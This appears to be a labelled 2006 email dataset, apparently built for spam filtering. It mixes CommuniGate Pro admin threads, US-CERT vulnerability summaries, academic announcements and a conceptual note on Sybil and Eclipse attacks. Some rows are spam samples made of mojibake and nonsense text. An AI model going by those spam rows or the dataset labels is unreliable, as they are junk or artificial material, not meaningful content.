http://www.omafra.gov.on.ca/french/crops/hort/vegetable.html OMAF Agricultural Information Contact Centre: 1-877-424-1300",0,1 Nicolas Hatier ,CommuniGate Pro Discussions ,"Tue, 09 May 2006 18:17:05 -0400",Re: Deleted Item Recovery?,"MS can do that because Exchange is somewhat DB-driven and has provision for this. Deleting a message is just flagging it as deleted, and the date it has been ""deleted"" is recorded. When the ""number of days to keep deleted items"" delay is elapsed, messages are gone. CGP is file-driven. When a message is deleted, the file is deleted (mdir) or the MIME text of this emssage is erased (mbox). Unless you have a backup the message can't be restored. N. Lyn wrote: >> > Does CGP offer any sort of deleted item recovery feature? I've been >>> told that Exchange does this and the feature is available to >>> end-users. >>> >>> >>> >>> >> covery_deleted_item.htm> > > At 3:01 PM -0700 5/9/06, Bret Miller wrote: >> You can go into webmail and if you see the item still visible and >> ""undelete"" it from there. >> >> Bret > > Huh? From WebMail, Delete an item, empty the trash. How do I > 'undelete' that item? Microsoft can apparently do this, can CGP? > > - Lyn > -- *Nicolas Hatier* /Niversoft idées logicielles/ /http://www.niversoft.com/",0,1 ���p�joutermost <%namezupimzge.%namedkgy@msa.hinet.net>,romanianclub@columbia.edu,"Sat, 14 Dec 1901 05:08:15 +0800",�W�C 1.88�H �s�˻Ȧ��X�z�Ҧ��t�� �{���d.�H�U.�H�Υdflu ,"Transitional//EN""> �s���������� ������������������ �Y�z���n�A���������T�������� Joanne",1,1 US-CERT Alerts ,alerts@us-cert.gov,"Tue, 09 May 2006 16:22:05 -0400",US-CERT Cyber Security Alert SA06-129A -- Microsoft Windows Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Cyber Security Alert SA06-129A Microsoft Windows Vulnerabilities Original release date: May 9, 2006 Last revised: -- Source: US-CERT Systems Affected * Microsoft Windows Overview Critical vulnerabilities in Macromedia Flash player may allow an attacker to take control of your computer. Solution Apply Update Microsoft has provided an update to remedy these vulnerabilities. To obtain the update, visit the Microsoft Update web site. US-CERT also recommends enabling Automatic Updates. Description Some features of Macromedia products contain critical vulnerabilities. If an attacker can convince you to visit a malicious web site, the attacker may be able to take control of your computer or cause it to crash. For more technical information, see US-CERT Technical Alert TA06-129A. References * Microsoft Security Bulletin Summary for May 2006 - * US-CERT Cyber Security Alert SA06-075A - * US-CERT Vulnerability Note VU#945060 - * US-CERT Vulnerability Note VU#146284 - * CVE-2006-0024 - * CVE-2005-2628 - * Microsoft Update - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT. Please send email to with ""SA06-129A Feedback VU#303452"" in the subject. ____________________________________________________________________ Mailing list information: ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History May 09, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRGD4eH0pj593lg50AQKMIwf/Uq1sWWjDJY7g+wDgW3trnmWn+C0nfYlR WdkFrQ+QZmRLyIXgQLQs1opRuHtdhYX6hm1H5II5tTK059WMFFGr6MZqlmiu7jjq JvfC0/7iEHS7S1Vue4c+cb9CwbyasNtT6aPA0N7Plsp8KsGNB00JASEF16xncbRT pAGwrSQa+fX2pi7JEAdWs9qr0aehKnvQWNbRUpG1vHDFoBrJC0zbEFVhKQ1mswH+ IkrMlhjYP/lAsxtMAXjqHlAmjs2wE9hP2kM5zukHZKx0cgv4asO8QmtPdiEPoLTO 2EDLpWjUE9uT6bSm4tBqw0u8AYFKjKJugODv0bAftt8vjQyZNkDV4A== =8rDE -----END PGP SIGNATURE-----",0,1 US-CERT Technical Alerts ,technical-alerts@us-cert.gov,"Tue, 09 May 2006 16:16:28 -0400",US-CERT Technical Cyber Security Alert TA06-129A -- Microsoft Windows and Exchange Server Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-129A Microsoft Windows and Exchange Server Vulnerabilities Original release date: May 9, 2006 Last revised: -- Source: US-CERT Systems Affected * Microsoft Windows * Microsoft Exchange Server For more complete information, refer to the Microsoft Security Bulletin Summary for May 2006. Overview Microsoft has released updates that address critical vulnerabilities in Microsoft Windows and Exchange Server. Exploitation of these vulnerabilities could allow a remote, unauthenticated attacker to execute arbitrary code or cause a denial of service on a vulnerable system. I. Description Microsoft Security Bulletin Summary for May 2006 addresses vulnerabilities in Microsoft Windows and Exchange Server. Further information is available in the following US-CERT Vulnerability Notes: VU#303452 - Microsoft Exchange fails to properly handle vCal and iCal properties Microsoft Exchange Server does not properly handle the vCal and iCal properties of email messages. Exploitation of this vulnerability may allow a remote, unauthenticated attacker to execute arbitrary code on an Exchange Server. (CVE-2006-0027) VU#945060 - Adobe Flash products contain multiple vulnerabilities Several vulnerabilities in Adobe Macromedia Flash products may allow a remote attacker to execute code on a vulnerable system. (CVE-2006-0024) VU#146284 - Macromedia Flash Player fails to properly validate the frame type identifier read from a ""SWF"" file A buffer overflow vulnerability in some versions of the Macromedia Flash Player may allow a remote attacker to execute code on a vulnerable system. (CVE-2005-2628) II. Impact A remote, unauthenticated attacker could execute arbitrary code on a vulnerable system. An attacker may also be able to cause a denial of service. III. Solution Apply Updates Microsoft has provided updates for these vulnerabilities in the Security Bulletins. Microsoft Windows updates are available on the Microsoft Update site. Workarounds Please see the US-CERT Vulnerability Notes for workarounds. Appendix A. References * Microsoft Security Bulletin Summary for May 2006 - * Technical Cyber Security Alert TA06-075A - * US-CERT Vulnerability Note VU#303452 - * US-CERT Vulnerability Note VU#945060 - * US-CERT Vulnerability Note VU#146284 - * CVE-2006-0027 - * CVE-2006-0024 - * CVE-2005-2628 - * Microsoft Update - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to with ""TA06-129A Feedback VU#303452"" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History May 9, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRGDvB30pj593lg50AQJkAQf9FqFX8S29GmV1pKfRCfkEY9ooi/ygyeyu l+z2OpoJsu4BHhYbXahssZLutNh0UtpC2Qv17sgHP2xg2sIokqgqkdMH1WQn4kAw x6RWPlI7hraIg/tY1lSZayZris4XMuDzNiqfpa/gN7oOSOtnIZ6Ky5+h5nIk+xxk Q50BdlEHmw5e62LyW7qnBAoHuHzEQq/xS52DtTat+aigRYePq3SX2f8S4BpZyKzq kQKN7kn2keseziuKCMEMNIH0bUunUr6M2kRsBPIBUrAi03Fmgx2Qfy7yMHRV/0Gg A2jjB48O4m+fuHHQSVSP2gCtSbe9ChiWJ8Db1nY1pnsQ42fZvqQekg== =nxe/ -----END PGP SIGNATURE-----",0,1 """John P. McNeill"" ",,,"RE: [CNI-(C)] Re: ""60 Minutes"" use of film clip","How do you know there is no release? -----Original Message----- From: CNI-COPYRIGHT -- Copyright & Intellectual Property [mailto:CNI-COPYRIGHT@cni.org] On Behalf Of Janna Glasser Sent: Tuesday, May 09, 2006 6:10 PM To: CNI-COPYRIGHT -- Copyright & Intellectual Property Subject: [CNI-(C)] Re: ""60 Minutes"" use of film clip Not sure. We just happened to see it on television. On May 9, 2006, at 5:00 PM, John P. McNeill wrote: > How did 60 Minutes get the clip? > > > -----Original Message----- > From: CNI-COPYRIGHT -- Copyright & Intellectual Property > [mailto:CNI-COPYRIGHT@cni.org] On Behalf Of Janna Glasser > Sent: Monday, May 08, 2006 6:30 PM > To: CNI-COPYRIGHT -- Copyright & Intellectual Property > Subject: [CNI-(C)] ""60 Minutes"" use of film clip > > One of you probably knows this off the top of their head or has had > experience with it. I'd be grateful for any insight. > > The CBS News Show ""60 Minutes"" uses a clip in a montage of clips. > The clip in question is taken from a graduation ceremony, but not from > the procession on stage. It appears to be from after the procession > and reading of the names (the students are all smiling). > My point being, the clip does not look like it was taken during the > ""newsworthy"" part of the event. The clip looks like it might have > been taken by a parent. No release is obtained by ""60 Minutes"" or the > photographer. > > Is there any claim here for unauthorized use of likeness? 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The proposed legislation would require the majority of recipients of U.S. federal research agency funds to make their findings free within six months of publication. Publishers argue that the legislation, if passed, will seriously jeopardize the integrity of the scientific publishing process, and is a duplicative effort that places an unwarranted burden on research investigators. According to the publishers, the provisions of S.2695 threaten to undermine the essential value of peer review by removing the publishers' incentive and ability to sustain investments in a range of scientific, technical, and medical publishing activities. The proposed legislation comes at a time when increased public access to government-funded research is already occurring in a voluntary and highly effectiv0 e manner through a variety of publisher-initiated mechanisms and cooperative approaches. ""Full public access to scientific articles based on government funding has always been central to our mission. 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These investments ensure the quality of U.S. taxpayer-supported scientific research by subjecting all articles to a rigorous technical review by experts in specialized fields prior to publication and pay for the development of technological innovations that enable broad web dissemination. ""Mandating that journal articles be made freely available on government websites so soon after their publication will be a powerful disincentive for publishers to continue these substantial investments,"" explained Dr. Crawford. He said publishers are concerned that S.2695 would result in a significant loss of revenue from subscriptions, licensing, and individual article sales, thereby making it difficult for them to sustain and recoup the investments they make in support of scientific communication. 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One user (out of so far about 100 MAPI accounts) in our company reported high figures like you mentioned, but in his case it's in the 'Drafts' folder. (And it's our Director of finance). Regards, Peter Leye -----Original Message----- From: CommuniGate Pro Discussions [mailto:CGatePro@mail.stalker.com] On Behalf Of Bret Miller Sent: 10 May 2006 00:16 To: CommuniGate Pro Discussions Subject: Very Large New Message Count What's up with the very large messages counts users occasionally get with MAPI accounts (like in the 4 billion range)? Are we the only site experiencing this phenomenon? Is there a known cure? Or should I take the time to log the MAPI account of a user who's experiencing the problem? Thanks, Bret ############################################################# This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: To switch to the DIGEST mode, E-mail to To switch to the INDEX mode, E-mail to Send administrative queries to",0,0 Nicolas Hatier ,CommuniGate Pro Discussions ,"Wed, 10 May 2006 12:11:34 -0400",Re: Very Large New Message Count,"It seems that Outlook, or the MAPI connector, decreased the message counter under zero. When represented as an unsigned integer, -1 is 4294967295... NH Peter Leye wrote: >> Are we the only site experiencing this phenomenon? >> > One user (out of so far about 100 MAPI accounts) in our company reported > high figures like you mentioned, but in his case it's in the 'Drafts' > folder. (And it's our Director of finance). > > Regards, > > Peter Leye > > -----Original Message----- > From: CommuniGate Pro Discussions [mailto:CGatePro@mail.stalker.com] On > Behalf Of Bret Miller > Sent: 10 May 2006 00:16 > To: CommuniGate Pro Discussions > Subject: Very Large New Message Count > > What's up with the very large messages counts users occasionally get > with MAPI accounts (like in the 4 billion range)? Are we the only site > experiencing this phenomenon? Is there a known cure? Or should I take > the time to log the MAPI account of a user who's experiencing the > problem? > > Thanks, > Bret > > ",0,0 Nicolas Hatier ,CommuniGate Pro Discussions ,"Wed, 10 May 2006 12:16:27 -0400",Re: Deleted Item Recovery?,"Maybe you could do this: - Force all accounts to use the trash bin - Modify your webskins to remove the Empty Trash Button and the Delete button for the trash folder - Force the ""On Logout Remove from Trash if Older than"" setting to one month - Tell everyone the messages in trash are removed when they are that old. Nicolas Gavin Hall wrote: > I guess it depends on your user community, are they trigger happy, deleting > items by mistake? If so, user education should be offered :-) If you have > to service this type of user, then I agree, in this scenario, having a > fall-back after the wastebasket has been emptied would be useful. > > However, if the item that has been deleted falls outside of the retention > period, you are far better off in CGP world! Within Exchange if a user > requires a message/document to be restored from backup that happens to fall > outside the ""deleted item retention"" period, it may involve a complete > system rebuild on other hardware to do so, just for one message! This will > occur if full system backups are taken and not mailbox backups. The pro's > and con's of each are for the Exchange list :-) Obviously the config > within CGP is totally different. If you need to restore a message, > depending on the file store format, you only really need to restore a single > file from backup into a recovery mailbox and you're done. > > IHTH > > Gavin > >> -----Original Message----- >> From: CommuniGate Pro Discussions >> [mailto:CGatePro@mail.stalker.com] On Behalf Of Bret Miller >> Sent: 10 May 2006 15:54 >> To: CommuniGate Pro Discussions >> Subject: Re: Deleted Item Recovery? >> >> >>> What is being asked for is an archive/recovery mechanism like that >>> provided by Exchange. The question has already been asked >>> >> by some of >> >>> the users ""If Exchange can recover deleted files, why >>> >> aren't we using >> >>> Exchange?"" >>> >>> >>> What I have learned so far is that there is no equivalent >>> >> feature in >> >>> CGP. >>> >> Any such feature would need to be optional because it >> essentially means storing every deleted message for every >> local account for a pre-determined amount of time. For large >> sites, the storage requirement for this could be huge. >> Perhaps an option to limit the size of ""recovery storage"" >> would help, but then if one user deleted that amount of space >> at once, all other users would lose their recovery option if >> the recovery storage were shared. >> >> Such an option would have to work with MAPI or maybe webmail. >> Somehow the server would have to store the account name in an >> index so a user could ""undo"" his delete action without you >> having to review all the messages in the recovery file. >> Either that or keep a separate recovery file for each user >> that had a separate storage limit from his regular account. >> I'm sure it could be done. Whether Stalker thinks it's a >> worthwhile feature to add is another matter. >> >> Bret >> >> -- *Nicolas Hatier* /Niversoft idées logicielles/ /http://www.niversoft.com/",0,1 Bret Miller ,CommuniGate Pro Discussions ,"Wed, 10 May 2006 09:19:18 -0700",RE: Deleted Item Recovery?,"Doesn't help if the user is on MAPI and they right click on Deleted Items and empty it. The only way to save it at that point is for CGPro to have some backend recovery system, which currently it doesn't. _____ From: CommuniGate Pro Discussions [mailto:CGatePro@mail.stalker.com] On Behalf Of Nicolas Hatier Sent: Wednesday, May 10, 2006 9:16 AM To: CommuniGate Pro Discussions Subject: Re: Deleted Item Recovery? Maybe you could do this: - Force all accounts to use the trash bin - Modify your webskins to remove the Empty Trash Button and the Delete button for the trash folder - Force the ""On Logout Remove from Trash if Older than"" setting to one month - Tell everyone the messages in trash are removed when they are that old. Nicolas Gavin Hall wrote: I guess it depends on your user community, are they trigger happy, deleting items by mistake? If so, user education should be offered :-) If you have to service this type of user, then I agree, in this scenario, having a fall-back after the wastebasket has been emptied would be useful. However, if the item that has been deleted falls outside of the retention period, you are far better off in CGP world! Within Exchange if a user requires a message/document to be restored from backup that happens to fall outside the ""deleted item retention"" period, it may involve a complete system rebuild on other hardware to do so, just for one message! This will occur if full system backups are taken and not mailbox backups. The pro's and con's of each are for the Exchange list :-) Obviously the config within CGP is totally different. If you need to restore a message, depending on the file store format, you only really need to restore a single file from backup into a recovery mailbox and you're done. IHTH Gavin -----Original Message----- From: CommuniGate Pro Discussions [mailto:CGatePro@mail.stalker.com] On Behalf Of Bret Miller Sent: 10 May 2006 15:54 To: CommuniGate Pro Discussions Subject: Re: Deleted Item Recovery? What is being asked for is an archive/recovery mechanism like that provided by Exchange. The question has already been asked by some of the users ""If Exchange can recover deleted files, why aren't we using Exchange?"" What I have learned so far is that there is no equivalent feature in CGP. Any such feature would need to be optional because it essentially means storing every deleted message for every local account for a pre-determined amount of time. For large sites, the storage requirement for this could be huge. Perhaps an option to limit the size of ""recovery storage"" would help, but then if one user deleted that amount of space at once, all other users would lose their recovery option if the recovery storage were shared. Such an option would have to work with MAPI or maybe webmail. Somehow the server would have to store the account name in an index so a user could ""undo"" his delete action without you having to review all the messages in the recovery file. Either that or keep a separate recovery file for each user that had a separate storage limit from his regular account. I'm sure it could be done. Whether Stalker thinks it's a worthwhile feature to add is another matter. Bret -- Nicolas Hatier Niversoft idées logicielles http://www.niversoft.com",0,1 Nicolas Hatier ,CommuniGate Pro Discussions ,"Wed, 10 May 2006 12:26:49 -0400",Re: Deleted Item Recovery?,"Of course, my solution is only for webmail users. I assumed Lyn was talking about webmail. Lyn, am I not right? N. Bret Miller wrote: > Doesn't help if the user is on MAPI and they right click on Deleted > Items and empty it. The only way to save it at that point is for CGPro > to have some backend recovery system, which currently it doesn't. > > ------------------------------------------------------------------------ > From: CommuniGate Pro Discussions > [mailto:CGatePro@mail.stalker.com] On Behalf Of Nicolas Hatier > Sent: Wednesday, May 10, 2006 9:16 AM > To: CommuniGate Pro Discussions > Subject: Re: Deleted Item Recovery? > > > Maybe you could do this: > - Force all accounts to use the trash bin > - Modify your webskins to remove the Empty Trash Button and > the Delete button for the trash folder > - Force the ""On Logout Remove from Trash if Older than"" > setting to one month > - Tell everyone the messages in trash are removed when they > are that old. > > Nicolas > ",0,0 Martin Miller ,CommuniGate Pro Discussions ,"Wed, 10 May 2006 17:29:54 +0100",Re: Blackberry integration,"Step 1 - buy a blackberry and try it out. On 10/05/06, Derek Lambert wrote: > What about stripping attachments? Where can that be done? I would > assume Blackberry doesn't have internal space and download speed to get > attachments. > Is there option to limit size of attachments being forwarded to > Blackberry device? How about sending email out of Blackberry device? > Does it go directly to recipient from Blackberry or is going through > CGP server somehow? -- Martin Miller - ___________________________________________________________________ communications - infrastructure - database - 4D - MacOS",0,1 Nicolas Hatier ,CommuniGate Pro Discussions ,"Wed, 10 May 2006 12:30:20 -0400",Re: Deleted Item Recovery?,"Even if CGP would support an exchange-like recovery feature, this would still consume a lot of disk space and you could be faced with the same storage problem... N. Lyn wrote: > At 5:06 PM +0100 5/10/06, Gavin Hall wrote: > > These are good points. I don't have any idea how Exchange 'really' > works and the insight is helpful. Restoring a message from backup (in > our case, tape backup) would seem like a difficult and time-consuming > task. > > The idea that emptying the trash permanently deletes a message - > rendering it unrecoverable is simple to understand and would probably > acceptable if we could provide much more disk space to the users. > Currently, we allow 80MB per account. Darn Google for starting the > 1Gig storage concept. > > Lyn -- *Nicolas Hatier* /Niversoft idées logicielles/ /http://www.niversoft.com/",0,1 Nicolas Hatier ,CommuniGate Pro Discussions ,"Wed, 10 May 2006 12:37:40 -0400",Re: Deleted Item Recovery?,"Yes, my junk mail script does that N. Lyn wrote: > The majority of our users use WebMail and this concept might work for > them. However, I find that many users don't logout properly - they > just close their browser window. If I understand correctly, ""On Logout > Remove from Trash.."" only works if the users properly log out? > > Is it possible to write a script to locate and delete items residing > in the trash older than XX days? > > Lyn > > At 12:16 PM -0400 5/10/06, Nicolas Hatier wrote: >> Maybe you could do this: >> - Force all accounts to use the trash bin >> - Modify your webskins to remove the Empty Trash Button and the >> Delete button for the trash folder >> - Force the ""On Logout Remove from Trash if Older than"" setting >> to one month >> - Tell everyone the messages in trash are removed when they are >> that old. >> >> Nicolas -- *Nicolas Hatier* /Niversoft idées logicielles/ /http://www.niversoft.com/",0,1 Willis Osemo ,,"Wed, 10 May 2006 16:48:13 +0300",Newsflash - Feedback Loop Analysis: Key Lessons in the Financial Service Delivery,"!!Newsflash!! Feedback Loop Analysis: Key Lessons in the Financial Service Delivery Feedback mechanisms have an important role to play in understanding clients' needs and preferences, discovering the best way to deliver products/services, training and motivating staff, and developing effective communications with stakeholders. The effective functioning of feedback loops will largely determine the quality and consistency of information flowing within an institution, and with external clients and other stakeholders. Active feedback loops enable an institution to establish a distinct position in the minds of its customers and thereby influence their choices. To understand the key issues on feedback loop analysis e.g. processes, mechanisms, and lessons drawn from MicroSave's experience under its Action Research Programme (ARP), click here . !!Newsflash!!",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 10 May 2006 12:43:15 -0700",[DMDX] DMDX 3.1.6.1,"DMDX 3.1.6.1 contains a small fix to where syntax errors could get spuriously generated. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is impossible to travel faster than light, and certainly not desirable, as one's hat keeps blowing off. - Woody Allen",0,0 Nicolas Hatier ,CommuniGate Pro Discussions ,"Wed, 10 May 2006 16:00:42 -0400",Re: Deleted Item Recovery?," Would that be suitable? http://www.niversoft.com/products/cgscripts/#auto_delete_junk N. John Rudd wrote: > > On May 10, 2006, at 9:33, Bret Miller wrote: >> >> You could implement an auto-deletion script for Deleted Items/Trash and >> allow users to set the number of days to keep it-- kind of like the >> remove items older than x days at logout option except implemented by a >> script instead of webmail logout. >> > > You don't even have to store a new setting. Use the same Trash > Cleaning setting they have for webmail. > > This method catches: > > a) IMAP and MAPI users > b) webmail users who just close their browser without logging out > > and can also be modified to cover: > > c) Spam folder cleaning > > > Btw: if someone has such a script, pref. that uses the user's Trash > setting and/or a command-line value (use trash setting if a command > line value isn't given; otherwise use the shorter time value of the > two given), specifies the folder to clean on the command line, > operates through IMAP and not directly on the files, and is written in > Perl, I'd _love_ to see it. I need to write something like that soon. > > > (I also need one that will clean out messages with a given header from > the INBOX after X days; so that we can clean out old broadcast messages) ",0,1 Madhavi Krishnan ,cs352-swk@lists.cc.utexas.edu,"Wed, 10 May 2006 14:41:01 -0500",Homework grades,"Hi CS352-ers, I have uploaded the grades for all the homework and 2 mid-terms. Make sure you grades are correct. Mail me if you have any concern. Madhavi PS: The grades should be available via eGradebook in an hour. ",0,0 Luis Hernandez ,webmastr@kukui.ifa.hawaii.edu,"Thu, 11 May 2006 09:04:20 +0800","The Industries leading enhancement product, now on sale!","grew sullen Black angry mouths, the clouds swallowed up the sun The air was dense with suppressed excitement The wind howled through the long corridors and sobbed and whisperedin the secret recesses ",1,0 Nicolas Hatier ,CommuniGate Pro Discussions ,"Wed, 10 May 2006 21:42:58 -0400",Re: Deleted Item Recovery?,"That could be a good idea, except that it's not possible to create a rule triggered on mailbox operations such as deleting - unless you do it directly on the few email clients that could support that feature. Maybe I'm overlooking something? N. Shaun Gamble wrote: > Bret Miller wrote: >> Doesn't help if the user is on MAPI and they right click on Deleted >> Items and empty it. The only way to save it at that point is for >> CGPro to have some backend recovery system, which currently it doesn't. >> > > Or setup a rule for that person that any emails going to Deleted get > copied to Trash Can 2. As it will just be a folder, there will be no > option to empty Deleted folder on exiting Outlook. Have one of > Nicolas' scripts running to automatically delete files from the folder > Trash Can 2 when they are older than one month. This way the user can > copy files from the Trash Can 2 folder to retrieve deleted files. > > I know it's a little extreme and hard work to setup, but geez it's > easier than doing a restore when they have Mailbox format and a lot > less work for you as an admin. ",0,0 Ulrich Papendick ,CommuniGate Pro Discussions ,"Wed, 10 May 2006 23:15:10 +0200",Re: Blackberry integration,"I'am using a Notifylink hosted account. It's working fine. They can deal with CGPro. Bret Miller (bret.miller@wcg.org) schrieb: > > > What do I need to integrate BlackBerry with CGP? > > Hardware and software. > > > > My sales people complain that everyone has Blackberry but we > > and I have > > to look at it. > > They want to be able to access email while on the golf course. > > E-mail integration is no big deal. Just set the Blackberry account to > pull the e-mail using IMAP as you would for any other IMAP client. What > IS a pain is synchronizing calendar and contacts with a CGP MAPI > account. For that you need an old version of Blackberry Desktop, which > you can get here: > > http://www.unknowing.net/blackberry/ > > Bret > > > > > ############################################################# > This message is sent to you because you are subscribed to > the mailing list . > To unsubscribe, E-mail to: > To switch to the DIGEST mode, E-mail to > To switch to the INDEX mode, E-mail to > Send administrative queries to > -- Dipl.-Ing. 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On 11/05/06, Derek Lambert wrote: > ..Does it matter which cell > provider I pick. I live in NYC and I have Verizon, T-Mobile, > Cingullar and Nextel. > Does CGP care which provider I use? > > Derek. -- Martin Miller - ___________________________________________________________________ communications - infrastructure - database - 4D - MacOS",0,1 Cassandra Pineda ,arl-announce@arl.org,"Wed, 10 May 2006 22:24:46 -0500",With thanks. from Kali,"If a pickup truck inside a maelstrom caricatures the crank case living with a buzzard, then a self-actualized salad dressing meditates. When a polygon starts reminiscing about lost glory, a load bearing particle accelerator leaves. Any grand piano can inexorably assimilate a razor blade about another particle accelerator, but it takes a real burglar to pour freezing cold water on the hypnotic hole puncher. Indeed, a bullfrog gives secret financial aid to a bottle of beer near the fundraiser. For example, a vacuum cleaner living with some hole puncher indicates that a fighter pilot hardly befriends an obsequious wedding dress. Indeed, a cloud formation from a hydrogen atom sells the bullfrog living with an insurance agent to a dirt-encrusted tape recorder. Sometimes a graduated cylinder hibernates, but a cough syrup about a photon always derives perverse satisfaction from a pork chop! Now and then, another wedding dress ignores a graduated cylinder. nineteen.   Furthermore, some burglar reads a magazine, and a photon around some grizzly bear seldom teaches a polygon. Indeed, a lazily South American roller coaster derives perverse satisfaction from the sheriff. When you see a revered warranty, it means that some turn signal meditates. For example, a submarine behind the photon indicates that a graduated cylinder over a bottle of beer secretly admires the movie theater behind the dolphin.   Any canyon can completely can be kind to some ridiculously moronic power drill, but it takes a real earring to feverishly make a truce with a demon. When the anomaly sweeps the floor, some freight train wakes up. A paycheck feels nagging remorse, and the Eurasian razor blade takes a coffee break; however, a cowboy inside a tuba player tries to seduce a flabby vacuum cleaner.   Most people believe that a photon toward a squid can be kind to the fruit cake from some abstraction, but they need to remember how often another nearest cashier goes to sleep. Indeed, the proverbial jersey cow eats the crane. The light bulb trades baseball cards with the photon about a roller coaster. When a dust bunny is boiled, a psychotic cocker spaniel feverishly knows a tape recorder. Until next week.. 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I am running an experiment that needs 18 output lines (8 for sending a trigger code to a physio amp and 10 for controlling a shock generator) along with 2 input lines (for two buttons). I know that it is possible to split the C port into C-upper and C-lower (two four bit ""sub""-port). At a minimum, would it be possible to provide a queued device that configures A, B and C-lower for output and C-upper for input. (control port configured as 136 DEC; from page 12 of the measurement computing docs). Even more flexible would be if you would provide a command that could be inserted into the header to send any of the available configuration codes to the control port when initializing the IO card. That would allow anyone to set up the card for all the various combo that are available. An added benefit of this would be that C could be then used regularly for input rather than output. You might remember an earlier email I sent to the list about problems with the way that the C port handles output. It appears that the lower and upper subport on C are not perfectly in synch. B/c of this we get (very infrequent) errors when using all 8 bits of C to either send triggers (we sometimes get triggers that only include 4 of the 8 bits) or to control other devices (our shock generator infrequently reads the C port incorrectly and administers shock intensities that only represent 4 of the 8 bits on C used to indicate intensity). Is this possible and are you willing to make either of these changes? Thanks J -- John J. Curtin, Ph.D. Associate Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Website: http://dionysus.psych.wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029 ",0,1 Peter Suber ,SPARC-OAForum@arl.org,"Thu, 11 May 2006 16:02:58 -0400",SPARC-ACRL FORUM TO EXPLORE OPEN DATA,"[Forwarding from SPARC. --Peter.] For Immediate Release May 11, 2006 Contact: Jennifer Heffelfinger jennifer@arl.org (202) 296-2296 x121 SPARC-ACRL FORUM TO EXPLORE OPEN DATA Washington, DC and Chicago, IL – May 11, 2006 – The upcoming SPARC-ACRL forum on emerging issues in scholarly communication, to be held during the American Library Association’s annual meeting in New Orleans, will explore questions related to the field of Open Data. The forum will feature experts who are familiar with the issues associated with Open Data and known for their analysis of the evolving scholarly communication scene. During the past several years, Open Data has become a field of urgent interest to researchers, scholars, and librarians. With the amount of scientific data doubling every year, issues surrounding the access, use, and curation of data sets are increasing in importance. The data-rich, researcher-driven environment that is evolving poses new challenges and provides new opportunities in the sharing, review, and publication of research results. Ensuring open access to the data behind the literature will play a key role in seeing that the scholarly communication system evolves in a way that supports the needs of scholars and the academic enterprise as a whole. As Open Data moves to the forefront of scholarly communication, librarians, administrators, and researchers will be responsible for considering new access policies for data and data curation issues. This SPARC-ACRL forum will introduce Open Data as an emerging focus, explore the challenges of managing the data deluge, and aid participants in crafting their own digital data preservation and curation policies. Speakers will include: * Christopher Greer, Cyberinfrastructure Advisor, Office of the Assistant Director for Biological Sciences, National Science Foundation * Robert Hanisch, Project Manager, Space Telescope Science Institute * Clifford Lynch, Executive Director, Coalition for Networked Information The SPARC-ACRL forum will be held on Saturday, June 24th from 4:00 - 5:30PM in the Morial Convention Center, Room 356 – 357. Reservations are not required. The forum is followed by the ACRL Scholarly Communication Discussion Group, an opportunity to exchange views with speakers from the forum and take the discussion to a deeper level. The Discussion Group convenes on Sunday, June 25th, from 4:00 – 5:30PM in Evangeline Suite of the Royal Sonesta Hotel. For more information, visit the SPARC Web site at and the SPARC Open Data email discussion list at < http://www.arl.org/sparc/opendata/>. SPARC SPARC (Scholarly Publishing and Academic Resources Coalition) and SPARC Europe are an international alliance of more than 300 academic and research libraries working to correct imbalances in the scholarly publishing system. SPARC’s advocacy, educational, and publisher partnership programs encourage expanded dissemination of research. SPARC is located on the Web at http://www.arl.org/sparc; SPARC Europe is at http://www.sparceurope.org. ACRL ACRL is a division of the American Library Association (ALA), representing more than 13,000 academic and research librarians and interested individuals. ACRL is the only individual membership organization in North America that develops programs, products and services to meet the unique needs of academic and research librarians. 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Sybil attack or forging multiple identities in a distributed certifying environment as opposed to a centralized certifying authority could be compromised at startup by malignant nodes that join the network initially and provide certification for other bad nodes. The author states that based on a PKI based solution with a centralized certifying authority is the solution. However the author has not taken into effect the group effect of good certifying nodes and bad certifying nodes and hasn’t done enough study before denouncing a distributed certifying system. A distributed certifying system is both practical and reliable with slight modifications where a centralized server only monitors and certifies a certain set of certifying nodes. AS the trust in the network spreads any certifying node or set of nodes that is malignant reports to the a set of its neighbor certifying nodes of malignant nodes and such certifying nodes can lose its rights to provide certification and can be revoked by a central certifying authority. Thus the central certifying node only takes action when it receives reports of malignant nodes that have been certified as otherwise and in which case it goes for the node that certified it. Thus in course of time a set of certified nodes would emerge which are not malignant. Thus a co-operative certifying authority would work where the distributed would fail. Eclipse Attacks & Secure Routing for Structured peer to peer networks Eclipse attacks are more general than Sybil attacks are usually launched after a Sybil attack where a portion of the network is controlled and the efforts are made to disrupt the routing in the overlay network. The main purpose is to prevent correct overlay operation. In Eclipse attacks the attacker even if controlling only a small fraction of the nodes can still launch an attack by manipulating the overlay algorithm. In an eclipse attack eventually the attacker gets control over the whole network. The authors suggests an approach based on choosing neighbors based on a threshold value for the number of in connections and out connections for each neighbor to be added as a neighbor. This limits the attack since the degree of the attacking nodes must be higher than the average degree of number of neighbors and number of neighbors refereeing to each attacking node. So when a value is chosen that is below that of the average for the network then the attack can be thwarted. Implementation of the protocol is done by enforcing degree bounds by auditing the neighbor nodes for its in degree and based on if it exceeds the threshold it removes the node from the list or maintains it in its list besides adding a random nonce to ensure the authenticity of the replies from the neighbor nodes. In the paper Secure Routing the authors follow up on the earlier paper where 